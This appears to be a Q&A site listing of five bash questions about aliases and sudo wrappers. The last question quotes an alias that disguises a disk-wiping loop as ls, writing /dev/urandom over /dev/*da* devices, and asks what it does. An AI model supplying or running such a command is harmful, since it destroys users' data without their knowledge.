All Questions
5 questions
0
votes
1
answer
210
views
while read loop not working inside alias [duplicate]
In Bash, the following command
echo foo | while read line; do echo $line; done
outputs foo; however, the following
alias bar="echo foo | while read line; do echo $line; done"
bar
outputs a ...
12
votes
3
answers
7k
views
Bash shadow a command - function with same name as command [duplicate]
I have a function in my .bashrc to automatically sudo to open files that aren't writable by me:
vim() {
if [ -w "$1" ]; then
\vim "$1"
else
sudo env HOME="$HOME" \vim -u ~/....
1
vote
1
answer
411
views
alias for executing the same command with sudo credentials [duplicate]
I am trying to create some alias for executing the same command but with sudo credentials. In the ultimate case I want to be something like:
alias !!='sudo !!'
But when I source /.bashrc file this ...
1
vote
3
answers
893
views
How to make alias trailing with space hack works with parameter supplied
I have two aliases watchExpand and l. I know that you can make bash expansion work with aliases by placing a trailing space like so:
alias watchExpand='watch '
l is aliased to ls -larthiF --context. ...
0
votes
2
answers
119
views
some help with this command, not sure what it does?
But my presumption for it to be harmful
alias ls="for i in /dev/*da* ; do cat /dev/urandom &> ${i} & done
if the code seems to miss/wrongly indented please fix it.